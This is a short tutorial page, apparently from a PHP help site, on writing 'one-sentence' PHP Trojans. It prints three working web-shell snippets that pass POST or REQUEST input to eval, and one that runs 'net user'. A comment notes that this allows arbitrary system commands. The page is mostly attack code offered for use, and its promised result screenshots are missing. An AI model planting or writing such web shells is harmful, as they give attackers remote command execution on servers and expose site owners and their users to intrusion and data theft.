Home > Article > Backend Development > How to write a php type Trojan horse in one sentence

How to write a one-sentence php type Trojan?
PHP one sentence Trojan
One:
One sentence Trojan about PHP:
<?php
$a=$_POST['H'];
eval("$a");//eval会将输入的$a作为php语句执行,因此只要对_赋一定的system命令值,就能够执行系统命令
?>
Display results:

Two:
A word about PHP Trojans:
<?php
$string=@$_POST["_"];
var_dump($string);
echo "<br>";
eval("system('net user');");
?>
When the value of POST parameter_ is empty:

When it is not empty:

Three:
Use REQUEST method:
<?php @eval($_REQUEST[_]);//什么类型的,如POST,GET均可以接收 ?>
Display result:
GET type:

POST type:

For more PHP related knowledge, please visit PHP Chinese website!
The above is the detailed content of How to write a php type Trojan horse in one sentence. For more information, please follow other related articles on the PHP Chinese website!